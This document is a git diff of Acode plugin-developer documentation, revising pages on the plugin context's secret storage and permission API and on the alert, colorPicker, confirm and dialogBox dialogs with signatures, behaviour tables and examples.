@@ -1,40 +1,56 @@
 # Plugin Context (`ctx`)
 
-The plugin context (`ctx`) is the third argument of the options object passed to your plugin's `init` function. It is a native-backed handle for your plugin that provides **encrypted secret storage** and **permission checks**.
+The plugin context (`ctx`) is a property of the **third argument** (`options`) that Acode passes to your plugin's `init` function. It is a native-backed handle for your plugin that provides **encrypted secret storage** and **permission checks**.
 
 Your `init` function receives it as `options.ctx`:
 
 ```js
 function init(baseUrl, $page, options) {
-  const ctx = options.ctx;
+  const ctx = options.ctx; // may be null
 }
 ```
 
+The complete argument list is `(baseUrl, $page, options)` - see [Plugin Main File](./core-file.md). Acode builds that `options` object itself in `src/lib/loadPlugin.js`, where `ctx` is the result of `await generatePluginContext(pluginId, JSON.stringify(pluginJson))`. In other words, `ctx` is created for **your plugin id**, from the `plugin.json` that is installed on disk.
+
 ## Overview
 
-`ctx` is a `PluginContext` instance (`src/lib/pluginContext.js`). It is created by Acode for **your plugin id only** and is backed by a cryptographically signed token issued by the native `Tee` plugin. Because of this:
+`ctx` is a `PluginContext` instance (`src/lib/pluginContext.js`). Acode mints it through the native Cordova plugin `Tee` (`src/plugins/pluginContext/src/android/Tee.java`). The loader first opens a **trusted native session** (`establishConnection`) *before* your script tag is even appended, and only that session may request a token (`requestToken`). The token is a 256-bit hex secret from `SecureRandom`. Because of this:
 
 - Secrets are scoped to your plugin id - another plugin cannot read them.
-- The token is bound to the permissions declared in your `plugin.json` at install/load time.
-- The object is `Object.freeze`d, so its properties cannot be replaced or extended.
+- The token is bound to the permissions declared in your `plugin.json` at load time - the whole manifest is JSON-encoded and handed to the native side, which reads its `permissions` array.
+- The instance is `Object.freeze`d in its constructor, and `PluginContext.prototype` is frozen too, so neither the properties nor the methods can be replaced or extended.
+
+::: warning `ctx` can be `null`
+If the trusted session cannot be established, or the token request fails, `generatePluginContext` returns `null` and logs `PluginContext creation failed for pluginId ...`. It never throws at load time - but `options.ctx` is then `null`, so **always guard before use**.
+:::
 
-### `created_at`, `uuid`, `toString()`
+### `date`, `toString()`, and coercion
 
-- `created_at` - timestamp (ms) when the context was created.
-- `uuid` - the opaque token string for this context.
-- `ctx.toString()` - returns the `uuid` string. The object coerces to the uuid for string operations (numeric coercion returns `NaN`).
+- `date` - the `Date.now()` value captured when the context was constructed (milliseconds since the epoch). The object is frozen right after, so it never changes.
+- `toString()` - returns the token string for this context.
+- `Symbol.toPrimitive` - string coercion returns that same token, so the object stringifies to it. Numeric coercion deliberately returns `NaN`.
+- There is **no `uuid` property**. The token lives in a private field (`#token`), so `ctx.uuid` is `undefined`. Read it through `toString()` if you truly need it - normally you should not.
 
 ```js
-String(ctx) === ctx.uuid; // true
+String(ctx) === ctx.toString(); // true
+Number(ctx); // NaN
 ```
 
 ## Secrets
 
-Secrets are key/value strings stored in an **EncryptedPreferenceManager** on the native side (scoped to your plugin id). They survive app restarts. Use them for API tokens, oauth state, or other sensitive data - never store secrets in `localStorage`.
+Secrets are key/value strings stored in an **`EncryptedPreferenceManager`** on the native side, in an Android `SharedPreferences` file whose name **is your plugin id** (`new EncryptedPreferenceManager(context, pluginId)` in `Tee.java`). They survive app restarts. Use them for API tokens, oauth state, or other sensitive data - never store secrets in `localStorage`.
+
+Every secret method is **asynchronous**: each one wraps a Cordova `exec` call in a `Promise`, so `await` is mandatory.
+
+::: info How the values are protected
+`EncryptedPreferenceManager` builds an `EncryptedSharedPreferences` with an AES256-GCM master key, encrypting keys with **AES256-SIV** and values with **AES256-GCM**. Both keys and values are encrypted at rest.
+
+Caveat visible in that same source: if the crypto library throws, the constructor falls back to a plain `SharedPreferences` file (`allowPlaintextFallback` defaults to `true`). Treat secrets as protected, not as a substitute for keeping them out of logs, crash reports, and screenshots.
+:::
 
 ### `getSecret(key, defaultValue = ""): Promise<string>`
 
-Resolves the stored value for `key`, or `defaultValue` when the key has not been set.
+Resolves the stored value for `key`, or `defaultValue` when the key has not been set. The default is applied natively (`prefs.getString(key, defaultValue)`), so an unset key resolves to `""` unless you pass something else. A `null`/`undefined` result is never returned - you always get a string.
 
 ```js
 const token = await ctx.getSecret("github_token", "");
@@ -45,7 +61,7 @@ if (!token) {
 
 ### `setSecret(key, value): Promise<void>`
 
-Stores `value` for `key`.
+Stores `value` for `key`. The write is applied through `SharedPreferences.Editor.apply()`, and the native side answers with an empty success, so the promise resolves with **no value**.
 
 ```js
 await ctx.setSecret("access_token", "abc123");
@@ -53,7 +69,7 @@ await ctx.setSecret("access_token", "abc123");
 
 ### `deleteSecret(key): Promise<void>`
 
-Removes a single key.
+Removes a single key. Resolves with no value.
 
 ```js
 await ctx.deleteSecret("access_token");
@@ -61,18 +77,26 @@ await ctx.deleteSecret("access_token");
 
 ### `clearAllSecrets(): Promise<void>`
 
-Removes every secret stored for your plugin.
+Removes every secret stored under your plugin id. Resolves with no value.
 
 ```js
 await ctx.clearAllSecrets();
 ```
 
+### When a secret call rejects
+
+The native side rejects with an error string instead of a value. The one you can actually hit at runtime is `INVALID_TOKEN`, which means the token behind `ctx` is no longer in the native token store - for example after `ctx.invalidate()` was called, or after the plugin id was re-tokenized. `INVALID_SESSION` and `INVALID_PLUGIN_JSON` can only occur while the context is being created, and in those cases you get `ctx === null` rather than a rejected promise.
+
+::: danger Wrap secret access in try/catch
+A rejected secret call is an unhandled rejection unless you handle it, and it will take down whatever `init`/callback it happened in. Treat every `ctx` call as fallible.
+:::
+
 ## Permissions
 
 ::: warning Permissions are not enforced yet
-Acode does **not** recognize or enforce the `permissions` array at this time. Declaring permission entries currently has **no effect** - no Acode capability is gated by them, and no consent dialog is shown to the user.
+Nothing in Acode's JavaScript gates a capability on the `permissions` array. No Acode API is unlocked or blocked by it, and no consent dialog is shown to the user.
 
-The native context still records whatever you list, so `ctx.grantedPermission()` and `ctx.listAllPermissions()` return those values. They only echo the entries from your own `plugin.json`, not a grant that Acode has checked. Do not rely on `permissions` for security; treat it as reserved for future use.
+What the native side does with it is much narrower: when the loader requests a token, `Tee.java` copies the strings from your manifest's `permissions` array into an in-memory list bound to that token, and that is the entire implementation. So `ctx.grantedPermission()` and `ctx.listAllPermissions()` simply echo what you wrote in your own `plugin.json` - they report a self-declaration, not a grant that Acode has checked. Do not rely on `permissions` for security; treat it as reserved for future use.
 :::
 
 Permissions are declared in your `plugin.json` as an array:
@@ -85,50 +109,113 @@ Permissions are declared in your `plugin.json` as an array:
 }
 ```
 
-The list is bound to your context's token when the plugin loads. The native side records exactly the permissions listed; there is no runtime "request" dialog - a permission either is or is not present.
+The list is bound to your context's token every time the plugin loads (`requestToken` re-reads the manifest), so there is no runtime "request" dialog - a permission either is or is not present.
+
+### Valid permission strings
 
-### `grantedPermission(permission): Promise<boolean>`
+There is **no fixed list of valid permission strings** anywhere in Acode's source. `Tee.java` reads `permissions` with `optJSONArray`, appends every element as-is to a `List<String>`, and compares with `List.contains`. Any string is accepted, including empty ones; anything you did not declare always fails the check. The names are yours to choose and are only meaningful to your own plugin, e.g.:
 
-Resolves `true` when your plugin was granted `permission`.
+```json
+{ "permissions": ["sync", "sync:write", "network"] }
+```
+
+### `grantedPermission(permission): Promise<number>`
+
+Takes a single permission string and resolves **`1` when granted, `0` when not** - the native side answers `callback.success(granted ? 1 : 0)`. It does **not** resolve a boolean, so `=== true` will never match. Truthiness works:
 
 ```js
-if (await ctx.grantedPermission("write")) {
+if (await ctx.grantedPermission("sync:write")) {
   // do something privileged
 }
 ```
 
 ### `listAllPermissions(): Promise<string[]>`
 
-Resolves the full list of permissions granted to your plugin.
+Resolves a copy of the full list of permission strings bound to your token, in manifest order. An empty array means the token is bound to no permissions at all.
 
 ```js
-const permissions = await ctx.listAllPermissions();
+const permissions = await ctx.listAllPermissions(); // string[]
 ```
 
 ## Full example
 
 ```js
-function init(baseUrl, $page, options) {
-  const ctx = options.ctx;
+import plugin from "../plugin.json";
+
+if (window.acode) {
+  acode.setPluginInit(plugin.id, async (baseUrl, $page, options) => {
+    const ctx = options.ctx;
 
-  (async () => {
-    console.log("permissions:", await ctx.listAllPermissions());
+    try {
+      if (!ctx) {
+        // Trusted native session unavailable - degrade gracefully.
+        console.warn("PluginContext unavailable; running without secrets.");
+        return;
+      }
+
+      console.log("declared permissions:", await ctx.listAllPermissions());
+
+      // Resolves 1 or 0 - use truthiness, never `=== true`.
+      if (!await ctx.grantedPermission("sync")) {
+        console.warn('Add "sync" to permissions in plugin.json to enable syncing.');
+        return;
+      }
 
-    if (await ctx.grantedPermission("api-access")) {
-      const token = await ctx.getSecret("api_token");
+      let token = await ctx.getSecret("api_token");
       if (!token) {
-        await ctx.setSecret("api_token", prompt("Enter API token"));
+        token = await acode.prompt("API token", "", "text"); // null if cancelled
+        if (!token) return;
+        await ctx.setSecret("api_token", token);
       }
+
+      // Never log the token itself.
+      console.log("token stored, length:", String(token).length);
+    } catch (error) {
+      // INVALID_TOKEN and friends land here.
+      console.error("PluginContext error:", error);
     }
-  })();
+  });
 }
 ```
 
+## Full `ctx` surface <Badge type="tip" text="new" />
+
+That is the entire public surface of `PluginContext` in `src/lib/pluginContext.js`. There is no file picker, no `http`, no notification, no device-info and no app-version member on `ctx` - those live elsewhere:
+
+| You want | Use instead |
+| --- | --- |
+| Read/write files | `acode.require("fs")` |
+| Ask the user for input | `acode.prompt(...)` / `acode.require("prompt")` |
+| Show a notification | `acode.pushNotification(...)` |
+| App version / versionCode | the global `BuildInfo` object |
+| Android storage permissions | the global `system` module (`system.hasPermission(...)`) |
+
+| Member | Signature | Returns | Notes |
+| --- | --- | --- | --- |
+| `date` | `number` (readonly) | - | `Date.now()` at construction. Frozen. Not `created_at`. |
+| `toString()` | `() => string` | The opaque token | Also used by string coercion. |
+| `[Symbol.toPrimitive]` | `(hint) => string \| NaN` | Token, or `NaN` for `"number"` | Blocks numeric coercion. |
+| `getSecret` | `(key: string, defaultValue?: string = "") => Promise<string>` | Stored value or the default | Never rejects on a missing key. |
+| `setSecret` | `(key: string, value: string) => Promise<void>` | Nothing | Write is asynchronous natively (`apply()`). |
+| `deleteSecret` | `(key: string) => Promise<void>` | Nothing | Removes one key. |
+| `clearAllSecrets` | `() => Promise<void>` | Nothing | Clears your plugin id's whole store. |
+| `grantedPermission` | `(permission: string) => Promise<number>` | `1` or `0` | Not a boolean. |
+| `listAllPermissions` | `() => Promise<string[]>` | Copy of the permission list | Order follows `plugin.json`. |
+| `invalidate` | `() => Promise<void>` | Nothing | Internal. Drops the token natively; later calls reject with `INVALID_TOKEN`. |
+
+## Security <Badge type="tip" text="new" />
+
+- **Scoped per plugin id.** Secrets live in a preferences file named after your plugin id, and every call carries a token that the native side maps back to that id using a constant-time comparison. Another plugin cannot read your keys through `ctx`.
+- **Never log, echo, or stringify secrets.** `String(ctx)` returns the token that authorises every secret read - treat the token as a credential. Never put `token`/`ctx.toString()` in `console.log`, `toast`, `alert`, telemetry, or an error message. `localStorage` and the plugin `cacheFile` are not encrypted - keep secrets out of both.
+- **`ctx` is only valid while the plugin is loaded.** The token lives in memory in the native plugin and is dropped when the WebView is reset (navigation or reload), which also invalidates the trusted session that mints new tokens. A retained `ctx` can therefore stop working, and a plugin loaded after such a reset can receive `ctx === null`. Re-acquire it from `options.ctx` on every `init` and handle rejection.
+- **The bridge is hardened.** Before any plugin script runs, Acode makes `cordova.exec`, `callbackFromNative`, `callbackSuccess`, `callbackError` and `callbacks` non-writable and non-configurable, so a plugin cannot hijack the bridge that `ctx` travels over. The token itself is a private class field and both the instance and prototype are frozen.
+- **`permissions` is not a security boundary.** See the warning above.
+
 ## Notes
 
-- `ctx.invalidate()` exists but is used internally by Acode; plugins do not need to call it.
-- If the trusted native session is not available (for example the token request fails), `ctx` may be `null` - guard against it if your plugin depends on it.
-- Secrets are encrypted at rest and scoped per plugin id.
+- `ctx.invalidate()` exists but is marked in source as "plugins dont need to call this"; Acode calls it internally.
+- If the trusted native session is not available, `ctx` is `null` rather than a rejected promise - guard against it if your plugin depends on it.
+- Secrets are encrypted at rest (with a plaintext fallback path) and scoped per plugin id.
 
 ## Related
 
diff --git a/docs/ui-components/dialogs/alert.md b/docs/ui-components/dialogs/alert.md
index d7251d2..b860feb 100644
--- a/docs/ui-components/dialogs/alert.md
+++ b/docs/ui-components/dialogs/alert.md
@@ -2,6 +2,10 @@
 
 The `alert` component in Acode is a dialog box for displaying messages, warnings, or errors to users within a modal window. Similar to the traditional JavaScript `alert()`.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/alert.js`. `acode.require("alert")` and `acode.alert(...)` are the **same function** — the `Acode` class method simply forwards its three arguments (`src/lib/acode.js`, `alert(title, message, onhide)`).
+:::
+
 ## Usage
 
 To use the `alert` component in your Acode plugin, you can require it using the following code:
@@ -23,17 +27,69 @@ alert(
 );
 ```
 
+### Signature
+
+| Signature | Returns |
+| --- | --- |
+| `alert(titleText: string, message?: string, onhide?: () => void): void` | `undefined` — this dialog is **not** promise-based |
+
+::: tip
+You can call either form, they are identical:
+
+```js
+const alert = acode.require('alert');
+
+alert('Heads up', 'Something happened');
+acode.alert('Heads up', 'Something happened');
+```
+:::
+
+### Single-argument form
+
+If `message` is falsy and `titleText` is not, the two arguments swap places: your single string becomes the **message** and the title is left empty.
+
+```js
+const alert = acode.require('alert');
+
+// Renders "Save failed" as the body, with no title.
+alert('Save failed');
+```
+
 ## Parameters
 
 - **titleText (string):**
-  - The text to display in the title of the alert modal.
+  - The text to display in the title of the alert modal. Rendered into a `<strong class="title">`, so it is always plain text.
+  - If `message` is not provided this value is used as the body instead.
 
 - **message (string):**
   - The message to display in the body of the alert modal.
+  - Inserted as HTML and then sanitized with **DOMPurify**, so basic markup survives but scripts do not.
+  - Any `http://` / `https://` URL inside the message is auto-wrapped in an `<a href>` before sanitizing.
 
 - **onhide (Function):**
   - An optional function to call when the alert modal is closed.
 
+### Parameters at a glance
+
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `titleText` | `string` | Yes | — | Title text. |
+| `message` | `string` | No | `""` | Body message (HTML allowed, DOMPurify-sanitized, URLs auto-linked). |
+| `onhide` | `() => void` | No | `undefined` | Called when the dialog closes via the OK button or a backdrop tap. |
+
+## Returns
+
+`alert()` returns `undefined`. It is a fire-and-forget dialog: there is no promise to await, and the only way to react to the dismissal is the `onhide` callback.
+
+## Behavior
+
+| Interaction | Result |
+| --- | --- |
+| **OK button** | Closes the dialog and calls `onhide()`. The label is the localized `strings.ok`. |
+| **Backdrop tap** | Closes the dialog and calls `onhide()`. |
+| **Android Back / Esc** | Removes the dialog, but `onhide` is **not** called — the action stack entry is wired straight to the internal `hideAlert()` teardown. |
+| **Second `alert()` while one is open** | Both alerts render on top of each other, but they share the action-stack id `"alert"` and `remove()` only drops the first matching entry, so overlapping alerts can leave the back stack slightly out of sync. Call one alert at a time. |
+
 ## Example
 
 ```javascript:line-numbers{1,7}
@@ -46,4 +102,23 @@ const handleOnHide = () => {
 alert('Title of Alert', 'The alert body message..', handleOnHide);
 ```
 
-In this example, when the alert modal is closed, the `handleOnHide` function will be called, and a toast message **'Alert modal closed'** will be displayed for 4000 milliseconds. This allows you to perform additional actions or provide feedback when the user interacts with the alert dialog.
\ No newline at end of file
+In this example, when the alert modal is closed, the `handleOnHide` function will be called, and a toast message **'Alert modal closed'** will be displayed for 4000 milliseconds. This allows you to perform additional actions or provide feedback when the user interacts with the alert dialog.
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **Not awaitable.** Unlike [`confirm`](./confirm.md), [`prompt`](./prompt.md), [`select`](./select.md), [`multiPrompt`](./multi-prompt.md) and [`colorPicker`](./color-picker.md), `alert()` never returns a promise. Wrap it in your own promise if you need to sequence work after dismissal.
+- **`onhide` is not a dismissal guarantee.** Android Back / Esc bypasses it. Use [`acode.require("confirm")`](./confirm.md) when you need a definitive yes/no answer.
+- **Title and message swap** when `message` is omitted — a very common source of "my alert has no title" reports.
+- **Message is sanitized, not escaped.** Tags like `<b>` render; `<script>` is stripped by DOMPurify.
+
+## See also
+
+- [`confirm`](./confirm.md) — promise-based yes/no dialog
+- [`prompt`](./prompt.md) — single text input
+- [`select`](./select.md) — pick one of many options
+- [`multiPrompt`](./multi-prompt.md) — many inputs in one dialog
+- [`colorPicker`](./color-picker.md) — pick a color
+- [`dialogBox`](./custom-dialog.md) — build your own dialog
+- [`loader`](./loader.md) — progress dialog
+- [Toast](../toast.md) — non-blocking message
+- [Action Stack](../../advanced-apis/action-stack.md) — why Back / Esc behaves differently per dialog
\ No newline at end of file
diff --git a/docs/ui-components/dialogs/color-picker.md b/docs/ui-components/dialogs/color-picker.md
index de3b4a5..97d132b 100644
--- a/docs/ui-components/dialogs/color-picker.md
+++ b/docs/ui-components/dialogs/color-picker.md
@@ -2,6 +2,10 @@
 
 The `colorPicker` dialog box in Acode offers a way for users to choose colors within your plugins. This feature-rich color picker opens a dialog box showcasing a spectrum of color options, providing users with an intuitive and visually pleasing experience.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/color.js`. `colorPicker` is registered as a module only (`acode.js`, `this.define("colorPicker", colorPicker)`) — there is **no** `acode.colorPicker()` method, so `acode.require("colorPicker")` is the only way in.
+:::
+
 ## Usage
 
 To integrate the `colorPicker` component into your Acode plugin, you can require it using the following code:
@@ -18,6 +22,25 @@ let selectedColor = await colorPicker('#ff0000');
 
 In this example, the color picker dialog box will open with the default color set to red (`#ff0000`).
 
+### Signature
+
+| Signature | Returns |
+| --- | --- |
+| `colorPicker(defaultColor?: string, onhide?: () => void): Promise<string>` | Rejects with `new Error("cancelled")` |
+
+::: tip
+`defaultColor` may be omitted. The picker then starts from the last color **the user picked in the color picker**, stored in `localStorage.__picker_last_picked`, falling back to `"#fff"`.
+:::
+
+The format is detected from the string prefix and drives the initial editor mode:
+
+| `defaultColor` prefix | Initial format | Resolved example |
+| --- | --- | --- |
+| `#` | `HEX` | `"#ff0000"` or `"#ff0000ff"` |
+| `rgb` | `RGB` | `"rgb(255, 0, 0)"` or `"rgba(255, 0, 0, 0.5)"` |
+| `hsl` | `HSL` | `"hsl(0, 100%, 50%)"` or `"hsla(0, 100%, 50%, 0.5)"` |
+| anything else / omitted | `HEX` | — |
+
 ## Parameters
 
 - **`defaultColor (string):`**
@@ -26,6 +49,13 @@ In this example, the color picker dialog box will open with the default color se
 - **`onhide (Function):`**
   - An optional callback function to be called when the color picker dialog box is closed.
 
+### Parameters at a glance
+
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `defaultColor` | `string` | No | `localStorage.__picker_last_picked \|\| "#fff"` | Starting color; also selects the initial `HEX` / `RGB` / `HSL` editor mode. |
+| `onhide` | `() => void` | No | `undefined` | Called ~300 ms after the dialog closes, on **every** close path. |
+
 ## Returns
 
 The `colorPicker` component returns a promise that:
@@ -35,6 +65,17 @@ The `colorPicker` component returns a promise that:
 
 The dialog also includes a format toggle (HEX / RGB / HSL).
 
+The resolved string always uses the format that is currently selected in the toggle, and the alpha channel is included only when the picked color is actually translucent. The rejection `Error` has **no `code` property** — only `err.message === "cancelled"`.
+
+### Dismissal paths
+
+| Interaction | Outcome |
+| --- | --- |
+| **OK button** | Resolves with the current color string |
+| **Cancel button** | Rejects with `Error("cancelled")` |
+| **Backdrop tap** | Rejects with `Error("cancelled")` |
+| **Android Back / Esc** | Rejects with `Error("cancelled")` — the action stack entry rejects too |
+
 ## Example
 
 ```javascript:line-numbers{1,3}
@@ -52,4 +93,42 @@ try {
 }
 ```
 
-In this example, the `colorPicker` component opens with red as the default. The selected color is logged, or cancellation is handled explicitly.
\ No newline at end of file
+In this example, the `colorPicker` component opens with red as the default. The selected color is logged, or cancellation is handled explicitly.
+
+### Reusing the previously picked color
+
+```js
+const colorPicker = acode.require('colorPicker');
+const toast = acode.require('toast');
+const KEY = 'myplugin.accentColor';
+
+async function pickAccentColor() {
+  const current = localStorage.getItem(KEY) || '#17c';
+  try {
+    const color = await colorPicker(current);
+    localStorage.setItem(KEY, color);
+    toast(`Accent colour set to ${color}`, 3000);
+  } catch {
+    // cancelled — keep the previous value
+  }
+}
+```
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **Cancellation is an exception, not a `null`.** Unlike [`prompt`](./prompt.md) and [`confirm`](./confirm.md), the only dismissal signal is a rejection, so the call **must** be wrapped in `try/catch`.
+- **There is no `acode.colorPicker()`.** Only `acode.require("colorPicker")` exists.
+- **The resolved string follows the toggle, not your input.** Ask for `#ff0000`, switch the user to `HSL`, and you get an `hsl()` string back.
+- **`onhide` fires on success too**, and it runs after the ~300 ms close animation — do not use it as a "was cancelled" hook, the rejection is.
+- **The picker remembers state globally.** `localStorage.__picker_last_picked` is written on every successful pick and reused as the default next time, so omitting `defaultColor` is not deterministic across sessions.
+- **Alpha only appears when it is used.** Fully opaque colors resolve without the alpha channel (`#rrggbb`, `rgb()`, `hsl()`), so don't assume a fixed string width.
+
+## See also
+
+- [`select`](./select.md) — pick from a list
+- [`prompt`](./prompt.md) — free-text input (e.g. for a hex code)
+- [`confirm`](./confirm.md) — yes/no dialog
+- [`alert`](./alert.md) — message with a single OK button
+- [`multiPrompt`](./multi-prompt.md) — many inputs in one dialog
+- [`dialogBox`](./custom-dialog.md) — build your own dialog
+- [`loader`](./loader.md) — progress dialog
\ No newline at end of file
diff --git a/docs/ui-components/dialogs/confirm.md b/docs/ui-components/dialogs/confirm.md
index 509089b..2f7381e 100644
--- a/docs/ui-components/dialogs/confirm.md
+++ b/docs/ui-components/dialogs/confirm.md
@@ -2,6 +2,10 @@
 
 The `confirm` ui component in Acode is a dialog box for displaying confirmation message modals to users. Whether you're seeking user approval for a critical action or confirming a decision, this component is best suited for this process.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/confirm.js`.
+:::
+
 ## Usage
 
 To use the `confirm` component in your Acode plugin, you can require it using the following code:
@@ -19,18 +23,95 @@ const confirmation = await confirm(
 );
 ```
 
+### Signature
+
+| Signature | Returns |
+| --- | --- |
+| `confirm(titleText: string, message?: string, isHTML?: boolean, options?: ConfirmOptions): Promise<boolean \| { confirmed: boolean, checked: boolean }>` | Never rejects |
+
+::: warning
+`acode.confirm(title, message)` forwards **only two arguments**. `isHTML` and the whole `options` object are reachable only through `acode.require("confirm")`. See [Using the module directly](#using-the-module-directly).
+:::
+
+### Using the module directly
+
+```js
+const confirm = acode.require('confirm');
+
+// Third argument enables HTML in the message body.
+const html = await confirm('Release notes', '<b>1.13.5</b> ships today.', true);
+
+// Fourth argument adds a checkbox and switches the resolved shape to an object.
+const res = await confirm(
+  'Enable telemetry',
+  'Help us improve Acode.',
+  false,
+  { checkboxText: "Don't ask again", returnState: true },
+);
+
+if (res.confirmed && res.checked) {
+  telemetryEnabled = true;   // your own state / storage
+}
+```
+
 ## Parameters
 
 - **titleText (string):**
   - A string representing the title of the confirmation message modal. This title will be displayed at the top of the message modal.
+  - If `message` is omitted, `titleText` is moved into the body and the title is left empty.
 
 - **message (string):**
   - A string representing the body of the confirmation message modal.
 
+- **isHTML (boolean):**
+  - When `true`, `message` is inserted as HTML and sanitized with **DOMPurify**. When `false` (or omitted), it is set as `textContent` and is never parsed as markup.
+  - Default: `false`
+
+- **options (ConfirmOptions):**
+  - An object that contains additional options for the confirm dialog.
+
+### Parameters at a glance
+
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `titleText` | `string` | Yes | — | Title text. |
+| `message` | `string` | No | `""` | Body message. |
+| `isHTML` | `boolean` | No | `false` | Treat `message` as HTML (DOMPurify-sanitized). |
+| `options` | `ConfirmOptions` | No | `{}` | See below. |
+
+### ConfirmOptions <Badge type="tip" text="new" />
+
+| Key | Type | Default | Description |
+| --- | --- | --- | --- |
+| `checkboxText` | `string` | `undefined` | When set, a checkbox with this label is rendered below the message. It always starts **unchecked**. |
+| `returnState` | `boolean` | `false` | Resolves with `{ confirmed, checked }` instead of a bare boolean. |
+| `signal` | `AbortSignal` | `undefined` | If already aborted when called, resolves `false` immediately. Aborting while the dialog is open also resolves `false`. |
+| `direction` | `"ltr" \| "rtl"` | `undefined` | Sets the `dir` attribute on the dialog element, e.g. from `Intl`/locale direction. |
+| `aboveOverlay` | `boolean` | `false` | Adds the `above-overlay` class so the dialog renders above an already-visible overlay. |
+
 ## Returns
 
 The `confirm` component returns a promise that resolves to a `boolean` value. The boolean value represents whether the user confirmed or denied the message. A value of `true` represents confirmation, while `false` represents denial.
 
+With `returnState: true` the promise instead resolves with an object:
+
+| Property | Type | Description |
+| --- | --- | --- |
+| `confirmed` | `boolean` | `true` for OK, `false` for Cancel. |
+| `checked` | `boolean` | State of the `checkboxText` checkbox (`false` when no checkbox was requested). |
+
+`confirm()` **never rejects.** Every dismissal path resolves.
+
+### Dismissal paths
+
+| Interaction | Resolved value |
+| --- | --- |
+| **OK button** | `true` (or `{ confirmed: true, checked }`) |
+| **Cancel button** | `false` (or `{ confirmed: false, checked }`) |
+| **Android Back / Esc** | `false` — the action stack entry *is* the cancel handler |
+| **Backdrop tap** | Nothing happens; the backdrop has no click handler |
+| **`signal` aborted** | `false` (or `{ confirmed: false, checked: false }`) |
+
 ## Example
 
 ```javascript:line-numbers{1,3}
@@ -44,4 +125,24 @@ if (confirmation) {
 }
 ```
 
-In this example, the `confirm` component is utilized to ask the user if they want to delete a file. If the user confirms, the message "File deleted." will be toasted. If the user denies, the message "File not deleted." will be toasted.
\ No newline at end of file
+In this example, the `confirm` component is utilized to ask the user if they want to delete a file. If the user confirms, the message "File deleted." will be toasted. If the user denies, the message "File not deleted." will be toasted.
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **Cancellation is not an exception.** Back / Esc and Cancel both resolve `false`, so `try/catch` around `confirm()` is dead code — check the boolean instead.
+- **`acode.confirm()` hides two parameters.** Passing a third or fourth argument to `acode.confirm(...)` silently does nothing. Use `acode.require("confirm")` for `isHTML`, `checkboxText`, `returnState`, `signal`, `direction` or `aboveOverlay`.
+- **Tapping the backdrop does nothing.** The user must press Cancel, OK, or the system Back button.
+- **`checkboxText` always starts unchecked** — there is no option to preselect it.
+- **`checked` reflects the live toggle on *both* paths.** The checkbox state is read when the dialog closes, so pressing Cancel after ticking the box still returns `checked: true` alongside `confirmed: false`. Branch on `confirmed` first.
+- **Multiple confirms can stack.** Each call registers its own `confirm-<n>` action-stack id, so nested confirms behave predictably — but they render simultaneously.
+
+## See also
+
+- [`alert`](./alert.md) — no answer, just a message
+- [`prompt`](./prompt.md) — single text input
+- [`select`](./select.md) — pick from a list
+- [`multiPrompt`](./multi-prompt.md) — many inputs in one dialog
+- [`colorPicker`](./color-picker.md) — pick a color
+- [`dialogBox`](./custom-dialog.md) — build your own dialog
+- [`loader`](./loader.md) — progress dialog
+- [Toast](../toast.md) — non-blocking message
\ No newline at end of file
diff --git a/docs/ui-components/dialogs/custom-dialog.md b/docs/ui-components/dialogs/custom-dialog.md
index dc13ee1..a5957c7 100644
--- a/docs/ui-components/dialogs/custom-dialog.md
+++ b/docs/ui-components/dialogs/custom-dialog.md
@@ -2,6 +2,10 @@
 
 The `dialogBox` API in Acode provides a way to create custom dialog boxes within your plugins. Basically it creates a dialog and gives you the freedom to display whatever you wish.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/dialog.js`. `dialogBox` is registered as a module only (`acode.js`, `this.define("dialogBox", dialog)`) — there is **no** `acode.dialogBox()` method, so `acode.require("dialogBox")` is the only way in.
+:::
+
 ## Getting Started
 
 To use the DialogBox ui component in your Acode plugin, you can require it using the following code:
@@ -16,7 +20,7 @@ Once you have the DialogBox component, you can create a new instance with the fo
 const myDialogBox = DialogBox(
   'Title',                    // Title of the dialog box
   '<h1>Dialog content</h1>',  // Content of the dialog box (HTML supported)
-  'hideButtonText',           // Text for the hide button
+  'hideButtonText',           // Text for the OK button
   'cancelButtonText'          // Text for the cancel button
 );
 ```
@@ -28,17 +32,55 @@ const myDialogBox = DialogBox(
  * Dialog Box Instance
  * @param {string} titleText - Title text
  * @param {string} html - HTML string
- * @param {string} [hideButtonText] - Text for hide button
- * @param {string} [cancelButtonText] - Text for cancel button
- * @returns {PromiseLike} - A promise representing the Dialog Box instance
+ * @param {string|boolean} [hideButtonText] - Text for the OK button, or `true` to render no buttons at all
+ * @param {string} [cancelButtonText] - Text for the cancel button
+ * @returns {DialogBox} - A thenable handle, NOT a Promise
  */
 ```
 
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `titleText` | `string` | Yes | — | Title text, rendered as plain text. |
+| `html` | `string` | Yes | — | Body HTML, assigned via `innerHTML` **without sanitizing**. |
+| `hideButtonText` | `string \| boolean` | No | `strings.ok` | Label of the primary/OK button. Passing the boolean `true` **hides the entire button row**. |
+| `cancelButtonText` | `string` | No | — | Label of the cancel button. The button is only rendered when this is truthy. |
+
+Both buttons start with the `disabled` class and are enabled on the next tick, unless a `wait()` countdown pushes that back.
+
+### Returns
+
+`dialogBox()` returns a **thenable handle object** — not a real `Promise`. It has no `catch()`, no `finally()`, and its `then(cb)` is a *setter*, not a resolver:
+
+| Member | Signature | Description |
+| --- | --- | --- |
+| `hide` | `() => void` | Closes the dialog. No-op while a `wait()` countdown is running. Revokes object URLs of any `<img>` inside the box. |
+| `wait` | `(time: number) => DialogBox` | Keeps both buttons disabled for `time` ms while counting down. |
+| `onclick` | `(cb: (this: HTMLElement, e: Event) => void) => DialogBox` | Called when the body is clicked. |
+| `onhide` | `(cb: () => void) => DialogBox` | Called when the dialog is hidden. |
+| `then` | `(cb: (children: HTMLCollection) => void) => DialogBox` | Called with the body element's `children` right after the dialog is inserted. |
+| `ok` | `(cb: () => void) => DialogBox` | Called when the OK button is pressed. Defaults to hiding the dialog. |
